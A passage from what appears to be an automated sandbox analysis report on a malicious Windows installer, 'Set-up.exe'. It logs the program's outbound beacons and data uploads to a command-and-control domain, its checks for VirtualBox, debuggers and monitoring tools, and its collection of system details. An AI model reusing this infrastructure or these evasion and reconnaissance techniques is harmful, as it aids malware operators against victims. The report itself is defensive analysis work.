Jan 6, 2025 12:15:01.940032959 CET	1236	OUT	Data Raw: 34 6d 74 34 68 30 54 77 4a 72 58 78 50 38 56 66 43 72 78 4f 33 37 51 66 6a 33 78 56 42 2b 7a 68 2b 79 31 62 65 4c 76 46 58 67 33 34 33 33 6e 69 32 33 38 4b 36 39 38 41 39 5a 38 58 61 58 34 33 74 6b 30 76 52 76 41 6d 6f 79 33 6e 6a 36 79 38 52 58 Data Ascii: 4mt4h0TwJrXxP8VfCrxO37Qfj3xVB+zh+y1beLvFXg3433ni238K698A9Z8XaX43tk0vRvAmoy3nj6y8RXUfjXy4L3Q7T8owmFw2Bw2HwWCoUsLhMLRp4fDYehCNOjQo0oqFOlThFKMYQikopKySPpc7zvOOJc4zPiDiDMsbnOeZ1jsTmebZrmOIqYvH5jmGMqyr4rF4vE1pSqVq9erOU6k5ybbfayPp3\/gs7\/yjW\/aR\/wC
Jan 6, 2025 12:15:01.940114975 CET	2472	OUT	Data Raw: 76 78 7a 34 65 63 56 35 50 77 31 44 4d 35 38 53 35 74 6a 4d 73 7a 44 4c 70 59 72 4a 61 6d 45 6f 30 4d 63 73 33 79 4f 70 6e 57 49 70 34 6c 7a 66 31 66 38 41 74 48 4c 4d 73 69 38 5a 52 58 2b 7a 34 76 46 34 61 6c 69 70 30 76 72 74 53 65 49 6e 33 65 Data Ascii: vxz4ecV5Pw1DM58S5tjMszDLpYrJamEo0Mcs3yOpnWIp4lzf1f8AtHLMsi8ZRX+z4vF4alip0vrtSeIn3eBvgf408DeInCeccS1Mshw1lOEzLL8yjhc6p4utiMD\/AGRndPJcPUwygvrH9nZnmclg6ztiMJhMRVwsKqwVOnh4\/wAZ+vKG13Wm5+bVtRb87yY+lYWZP73+fyrc1g7tX1U+upXx\/O5lNZEjY\/Dk\/Xt\/n3r\/
Jan 6, 2025 12:15:01.940217018 CET	3708	OUT	Data Raw: 66 58 39 63 2b 47 66 78 7a 38 59 66 73 6e 36 4a 71 32 72 66 46 72 34 57 65 42 76 42 74 6e 34 75 30 4c 78 6a 63 61 68 63 61 78 34 6a 5c 2f 5a 33 47 70 54 32 48 5c 2f 43 50 5c 2f 73 2b 66 46 72 78 50 71 38 35 62 78 68 64 61 70 6f 64 39 5c 2f 77 41 Data Ascii: fX9c+Gfxz8Yfsn6Jq2rfFr4WeBvBtn4u0Lxjcahcax4j\/Z3GpT2H\/CP\/s+fFrxPq85bxhdapod9\/wAJR8H9Rh1HW\/iXYfDyw+yfFvTYrRvAnxI+Jf3LXm\/wo+FHgz4L+DLHwP4HsbqDTYLq\/wBW1XVdWv7rWvFHi3xRrV0+oeJPGnjTxJqDzar4p8ZeKdVmuNW8ReItWnnv9Tv55JZZFjWKKP0iuvE1FUlTvUliKsKfJ
Jan 6, 2025 12:15:01.940340996 CET	2472	OUT	Data Raw: 4d 63 4c 4a 53 77 2b 5a 5a 58 57 78 32 58 59 33 44 7a 62 56 6e 52 78 6d 45 6c 52 72 30 5a 4e 38 74 6e 43 70 46 74 32 74 30 50 74 62 77 7a 2b 32 6e 38 57 74 45 30 36 66 53 74 57 75 59 5c 2f 45 6c 68 50 61 79 57 72 4a 65 79 43 4f 62 44 6f 55 44 5c Data Ascii: McLJSw+ZZXWx2XY3DzbVnRxmElRr0ZN8tnCpFt2t0Ptbwz+2n8WtE06fStWuY\/ElhPayWrJeyCObDoUD\/aJ4L9k8vOVitRawgfKYyAu3wzxR8WfGHi15Vv9TuIrGQtjT45mgtAh6JJDAIYJto4EkkO\/rliWbd5NoGpaT4p8ZfD\/wAB6J4h8Lt4h+JfxB8F\/DTw0L\/XIoNPHiPx3r9j4b0RtRm0+DVb6GwXUdQga8ls9Mv
Jan 6, 2025 12:15:01.984366894 CET	27192	OUT	Data Raw: 75 7a 31 53 31 38 47 48 77 31 38 55 66 44 56 36 6b 56 33 70 38 50 6a 75 77 75 59 74 59 30 6a 58 76 41 32 6a 61 78 70 7a 57 45 75 6e 44 6e 43 58 30 58 75 48 63 58 50 44 5a 62 68 2b 46 73 7a 78 57 4a 7a 62 41 5a 6c 67 4d 62 6a 6f 56 4f 49 4b 32 58 Data Ascii: uz1S18GHw18UfDV6kV3p8PjuwuYtY0jXvA2jaxpzWEunDnCX0XuHcXPDZbh+FszxWJzbAZlgMbjoVOIK2XYzF4bKa2WZdlfElXC4rEUIVacsrzHC5ZUzatWk8dRxcYOljKLl6XFXiB9NPivLY1M0x3G2T5dhckzLLc1ynLMTDhbC5xgsvrZ3DNc5zzg2jjMHhMVXoWzfK8VnVPIqFCMMBXy\/wBqq2ErQXUIgjUKu7A\/vMzn8W
Jan 6, 2025 12:15:02.031903028 CET	13596	OUT	Data Raw: 66 5c 2f 41 45 37 6e 70 5c 2f 6e 38 5c 2f 65 67 44 59 2b 33 37 34 5c 2f 35 35 66 72 5c 2f 6b 64 50 61 6d 66 37 66 33 50 31 5c 2f 7a 5c 2f 77 44 57 7a 37 30 38 53 66 63 59 66 75 59 66 4e 38 72 79 5c 2f 66 38 41 7a 2b 64 4d 32 66 4b 36 49 2b 7a 79 Data Ascii: f\/AE7np\/n8\/egDY+374\/55fr\/kdPamf7f3P1\/z\/wDWz708SfcYfuYfN8ry\/f8Az+dM2fK6I+zy\/wDW5\/z\/APrNB0BLI\/74J5f\/ADy\/z3PpRuSNXg3yb\/Nt\/KMf+f8AJx0pkn73fsff+Pf\/AD\/n1fNI7bPnjdP84\/l\/nNT7Lyl93\/AAZM3zZk+V45f3v2j\/AJY\/09frUP8Au\/I\/mnyvL\/1H9Km
Jan 6, 2025 12:15:02.079664946 CET	1236	OUT	Data Raw: 38 44 36 35 46 4d 5c 2f 31 69 37 33 66 66 35 6e 58 4a 35 6d 35 5c 2f 6e 5c 2f 51 38 47 68 76 39 59 6d 39 50 6b 35 6c 5c 2f 64 5c 2f 36 6a 6e 72 5c 2f 41 4a 5c 2f 6c 6d 68 6c 2b 56 66 38 41 56 37 34 2b 50 33 66 72 7a 51 61 55 2b 76 79 5c 2f 55 47 Data Ascii: 8D65FM\/1i73ff5nXJ5m5\/n\/Q8Ghv9Ym9Pk5l\/d\/6jnr\/AJ\/lmhl+Vf8AV74+P3frzQaU+vy\/UG3\/AMGUf\/SIv3f7iD\/wE6+tKqvu\/cvvf\/VfvPx9Pr+H1pPkk+d02fuvJl9eP\/r\/AK1W+f8A6aJ5mZfp2\/z19Peg0P3o2D3\/AM\/hXkPx0dk+EXxBKkgnwtrSHHGVfT7hWB9iCQRXrvO\/8f0x\/PH615F
Jan 6, 2025 12:15:05.263189077 CET	138	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Mon, 06 Jan 2025 11:15:05 GMT content-type: text/html; charset=utf-8 content-length: 1 Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	34.147.147.173	80	6512	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 12:15:05.822952986 CET	100	OUT	GET /gbVspuhpvozlydclqfRi1736138767?argument=0 HTTP/1.1 Host: home.thirttj13vs.top Accept: /
Jan 6, 2025 12:15:06.439994097 CET	353	IN	HTTP/1.1 404 NOT FOUND server: nginx/1.22.1 date: Mon, 06 Jan 2025 11:15:06 GMT content-type: text/html; charset=utf-8 content-length: 207 Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49734	34.147.147.173	80	6512	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 12:15:07.267832041 CET	173	OUT	POST /gbVspuhpvozlydclqfRi1736138767 HTTP/1.1 Host: home.thirttj13vs.top Accept: / Content-Type: application/json Content-Length: 31 Data Raw: 7b 20 22 69 64 31 22 3a 20 22 30 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 31 22 20 7d Data Ascii: { "id1": "0", "data": "Done1" }
Jan 6, 2025 12:15:07.976244926 CET	353	IN	HTTP/1.1 404 NOT FOUND server: nginx/1.22.1 date: Mon, 06 Jan 2025 11:15:07 GMT content-type: text/html; charset=utf-8 content-length: 207 Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 65 20 73 65 72 76 65 72 2e 20 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 0a Data Ascii: <!doctype html><html lang=en><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	50.19.58.113	443	6512	C:\Users\user\Desktop\Set-up.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-06 11:14:58 UTC	52	OUT	GET /ip HTTP/1.1 Host: httpbin.org Accept: /
2025-01-06 11:14:59 UTC	224	IN	HTTP/1.1 200 OK Date: Mon, 06 Jan 2025 11:14:59 GMT Content-Type: application/json Content-Length: 31 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2025-01-06 11:14:59 UTC	31	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 0a 7d 0a Data Ascii: { "origin": "8.46.123.189"}

Target ID:	0
Start time:	06:14:56
Start date:	06/01/2025
Path:	C:\Users\user\Desktop\Set-up.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Set-up.exe"
Imagebase:	0x110000
File size:	7'745'160 bytes
MD5 hash:	82F12257874F42D2F2475CA1D9189E43
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	26.6%
Total number of Nodes:	1551
Total number of Limit Nodes:	79

Executed Functions

Function 0014A550 Relevance: 67.3, APIs: 23, Strings: 15, Instructions: 777networkstringCOMMON

Download Yara Rule

APIs

Part of subcall function 0012D8C0: QueryPerformanceCounter.KERNEL32(?,?,?,?,?,00000000,?,0000001C,?,001201B1), ref: 0012D8E2

setsockopt.WS2_32(?,00000029,0000001B,00000000,00000004), ref: 0014A670
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0014A6A1
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0014A6AB
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0014A6AF

Part of subcall function 0012D090: GetLastError.KERNEL32 ref: 0012D0A1
Part of subcall function 0012D090: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0012D0A9
Part of subcall function 0012D090: __sys_nerr.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0012D0CD
Part of subcall function 0012D090: __sys_errlist.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0012D0D7
Part of subcall function 0012D090: strrchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,0000000A), ref: 0012D381
Part of subcall function 0012D090: strrchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,0000000D), ref: 0012D3A2
Part of subcall function 0012D090: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0012D3BF
Part of subcall function 0012D090: GetLastError.KERNEL32 ref: 0012D3C9
Part of subcall function 0012D090: SetLastError.KERNEL32(00000000), ref: 0012D3D4

Part of subcall function 00154F40: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 00154F9E

setsockopt.WS2_32(?,00000006,00000001,00000001,00000004), ref: 0014A831
WSAGetLastError.WS2_32 ref: 0014A854
getsockopt.WS2_32(?,0000FFFF,00001001,00000000,00000004), ref: 0014A97A
setsockopt.WS2_32(?,0000FFFF,00001001,?,00000004), ref: 0014A9A6
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 0014AB0F
htons.WS2_32(?), ref: 0014AC01
getsockopt.WS2_32(?,0000FFFF,00001001,00000000,00000004), ref: 0014AC38
setsockopt.WS2_32(?,0000FFFF,00001001,00004020,00000004), ref: 0014AC64
WSAGetLastError.WS2_32 ref: 0014ACDC
WSAGetLastError.WS2_32 ref: 0014ADF5
strchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,00000025), ref: 0014AE9D
htons.WS2_32(?), ref: 0014AEDB
bind.WS2_32(?,00000002,00000010), ref: 0014AEF5
WSAGetLastError.WS2_32 ref: 0014AFB9
htons.WS2_32(?), ref: 0014AFFC
bind.WS2_32(?,?,?), ref: 0014B014
WSAGetLastError.WS2_32 ref: 0014B056
htons.WS2_32(?), ref: 0014B0D2
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,00000000,0000000A), ref: 0014B0EA

Strings

@, xrefs: 0014A8F4
Could not set TCP_NODELAY: %s, xrefs: 0014A871
@, xrefs: 0014AC42
Couldn't bind to interface '%s' with errno %d: %s, xrefs: 0014AD0A
Local Interface %s is ip %s using address family %i, xrefs: 0014AE60
Bind to local port %d failed, trying next, xrefs: 0014AFE5
cf-socket.c, xrefs: 0014A5CD, 0014A735
Local port: %hu, xrefs: 0014AF28
Trying %s:%d..., xrefs: 0014A7C2, 0014A7DE
Couldn't bind to '%s' with errno %d: %s, xrefs: 0014AE1F
sa_addr inet_ntop() failed with errno %d: %s, xrefs: 0014A6CE
bind failed with errno %d: %s, xrefs: 0014B080
cf_socket_open() -> %d, fd=%d, xrefs: 0014A796
Name '%s' family %i resolved to '%s' family %i, xrefs: 0014ADAC
Trying [%s]:%d..., xrefs: 0014A689

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: ErrorLast$_errno$htonssetsockopt$bindgetsockoptstrrchr$CounterPerformanceQuery__sys_errlist__sys_nerrstrchrstrcpystrlenstrtoul
String ID: Trying %s:%d...$ Trying [%s]:%d...$ @$ @$Bind to local port %d failed, trying next$Could not set TCP_NODELAY: %s$Couldn't bind to '%s' with errno %d: %s$Couldn't bind to interface '%s' with errno %d: %s$Local Interface %s is ip %s using address family %i$Local port: %hu$Name '%s' family %i resolved to '%s' family %i$bind failed with errno %d: %s$cf-socket.c$cf_socket_open() -> %d, fd=%d$sa_addr inet_ntop() failed with errno %d: %s
API String ID: 2815861332-2373386790
Opcode ID: 540b317aa5e3fe0dea3accf650ee24bb9f4d8a1f0ab5dab481c492f0b61873c6
Instruction ID: b3096ff5d39d32830719af233b7260f96040b9a0b475031ef9617b378064c16b
Opcode Fuzzy Hash: 540b317aa5e3fe0dea3accf650ee24bb9f4d8a1f0ab5dab481c492f0b61873c6
Instruction Fuzzy Hash: BC622271548340ABE720CF24C846BABB7F5FF95314F454929F988972A2E771E844CB93

Function 001129FF Relevance: 63.3, APIs: 20, Strings: 16, Instructions: 321
stringprocessregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE ref: 00112A27
RegOpenKeyExA.KERNELBASE ref: 00112A8A
CharUpperA.USER32 ref: 00112AEF
strstr.API-MS-WIN-CRT-PRIVATE-L1-1-0 ref: 00112B05
CreateToolhelp32Snapshot.KERNEL32 ref: 00112B6D
Process32First.KERNEL32 ref: 00112B88
Process32Next.KERNEL32 ref: 00112BC0
QueryFullProcessImageNameA.KERNELBASE ref: 00112C26
CloseHandle.KERNELBASE ref: 00112C49
strstr.API-MS-WIN-CRT-PRIVATE-L1-1-0 ref: 00112C5F
CreateToolhelp32Snapshot.KERNEL32 ref: 00112CC4
Process32First.KERNEL32 ref: 00112CDF
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00112D0D
strstr.API-MS-WIN-CRT-PRIVATE-L1-1-0 ref: 00112D42
strstr.API-MS-WIN-CRT-PRIVATE-L1-1-0 ref: 00112D5C
strstr.API-MS-WIN-CRT-PRIVATE-L1-1-0 ref: 00112D76
strstr.API-MS-WIN-CRT-PRIVATE-L1-1-0 ref: 00112D90
Process32Next.KERNEL32 ref: 00112DBF
CloseHandle.KERNELBASE ref: 00112DFC
EnumWindows.USER32 ref: 00112E21

Strings

public_check, xrefs: 00112B26
SYSTEM\ControlSet001\Services\VBoxSF, xrefs: 00112A76
0, xrefs: 00112DA9
vbox_second, xrefs: 00112AAB
procmon.exe, xrefs: 00112D4B
yadro, xrefs: 00112EFB
x64dbg.exe, xrefs: 00112D65
dbg, xrefs: 00112C80
ida.exe, xrefs: 00112D7F
WINDBG.EXE, xrefs: 00112C4E
dbg_sec, xrefs: 00112DDE
C:\Windows\System32\VBox*.dll, xrefs: 00112A1B
dbg_third, xrefs: 00112E48
C:\USERS\PUBLIC\, xrefs: 00112AF4
vbox_first, xrefs: 00112A49
wireshark.exe, xrefs: 00112D31

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strstr$Process32$First$CloseCreateHandleNextSnapshotToolhelp32$CharEnumFileFindFullImageNameOpenProcessQueryUpperWindowsstrncpy
String ID: 0$C:\USERS\PUBLIC\$C:\Windows\System32\VBox*.dll$SYSTEM\ControlSet001\Services\VBoxSF$WINDBG.EXE$dbg$dbg_sec$dbg_third$ida.exe$procmon.exe$public_check$vbox_first$vbox_second$wireshark.exe$x64dbg.exe$yadro
API String ID: 515599682-3783588604
Opcode ID: 2b4b5761632dfe4541ac109840bfd6b0aa3be63e1efa4254db289fdb77881e54
Instruction ID: 8cf236fb786fd0ac13e1c78a0b722c9e0693b591bc96ada25b54c0bd5a0fcad2
Opcode Fuzzy Hash: 2b4b5761632dfe4541ac109840bfd6b0aa3be63e1efa4254db289fdb77881e54
Instruction Fuzzy Hash: 6CE106B49053199FCB50EF69D98469EBBF5AF44304F01887DE888D7350EB789A94CF82

Function 0011255D Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 282
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE ref: 00112579

Part of subcall function 00633B30: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,00112589), ref: 00633B45

GlobalMemoryStatusEx.KERNELBASE ref: 001125CC
GetLogicalDriveStringsA.KERNEL32 ref: 00112619
GetDriveTypeA.KERNELBASE ref: 00112647
GetDiskFreeSpaceExA.KERNELBASE ref: 0011267E
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00112749
KiUserCallbackDispatcher.NTDLL ref: 001127E2
SHGetKnownFolderPath.SHELL32 ref: 0011286D
wcscpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 001128BE
wcscat.API-MS-WIN-CRT-STRING-L1-1-0 ref: 001128D4
FindFirstFileW.KERNELBASE ref: 001128F8
FindNextFileW.KERNELBASE ref: 0011291F
K32EnumProcesses.KERNEL32 ref: 0011296F

Strings

all, xrefs: 001126E0
processes, xrefs: 00112996
Num_ram, xrefs: 001125F0
uptime_minutes, xrefs: 001129E4
drivers, xrefs: 00112769
name, xrefs: 001126A2
Num_processor, xrefs: 0011258D
Num_displays, xrefs: 001127C3
recent_files, xrefs: 00112941
@, xrefs: 001125B4
`, xrefs: 001129BC
resolution_y, xrefs: 0011282F
resolution_x, xrefs: 0011280D
free, xrefs: 0011271E

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: DriveFileFind$CallbackDiskDispatcherEnumFirstFolderFreeGlobalInfoKnownLogicalMemoryNextPathProcessesSpaceStatusStringsSystemTypeUsermallocstrlenwcscatwcscpy
String ID: @$Num_displays$Num_processor$Num_ram$`$all$drivers$free$name$processes$recent_files$resolution_x$resolution_y$uptime_minutes
API String ID: 2116500361-3337672980
Opcode ID: cf7dfb80c860bf3b56cf498f3a3c112a6f33dd3298848491b4a567b6836ee234
Instruction ID: 152b327624e8787f3da1e82180d341885958719cbd5dd33a663f866e685147a4
Opcode Fuzzy Hash: cf7dfb80c860bf3b56cf498f3a3c112a6f33dd3298848491b4a567b6836ee234
Instruction Fuzzy Hash: 17D1C2B49053199FCB40EFA8C98569EBBF1BF48314F00896DE898D7351E7349A84CF96

Function 001DAA30 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 364
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

htons.WS2_32(?), ref: 001DAAE8
htons.WS2_32(?), ref: 001DAB33
socket.WS2_32(FFFFFFFF,?,00000000), ref: 001DAB9A
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 001DABE3
setsockopt.WS2_32(?,0000FFFF,00001001,00000000,00000004), ref: 001DAC02
setsockopt.WS2_32(?,0000FFFF,00001002,00000000,00000004), ref: 001DAC29
htonl.WS2_32(00000000), ref: 001DAC69
bind.WS2_32(?,00000017,0000001C), ref: 001DACCF
setsockopt.WS2_32(?,00000029,0000001B,0000001C,00000004), ref: 001DACFE
setsockopt.WS2_32(?,00000006,00000001,0000001C,00000004), ref: 001DAD20
WSAGetLastError.WS2_32 ref: 001DADB5
closesocket.WS2_32(?), ref: 001DAE6F

Strings

xc, xrefs: 001DAA56

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: setsockopt$htons$ErrorLastbindclosesockethtonlioctlsocketsocket
String ID: xc
API String ID: 4039825230-3394131015
Opcode ID: f4bcb7a7a769916bcfb78a514290840c03dbafa83d1635a2c4bce307e84d0625
Instruction ID: 3ff9b0120c4d5c5bc426a0e93e131ae7ae67403293c3cc488bddf680d990b15b
Opcode Fuzzy Hash: f4bcb7a7a769916bcfb78a514290840c03dbafa83d1635a2c4bce307e84d0625
Instruction Fuzzy Hash: F5E18C706003019FEB20CF64C885B6AB7E5FF89314F548A2EF9998B391D775E944CB92

Function 0011116C Relevance: 19.7, APIs: 13, Instructions: 200
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 001111B7
SetUnhandledExceptionFilter.KERNEL32 ref: 00111238
_set_invalid_parameter_handler.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0011124D
__p__acmdln.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00111261
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 001112EB
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00111323
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 0011132E
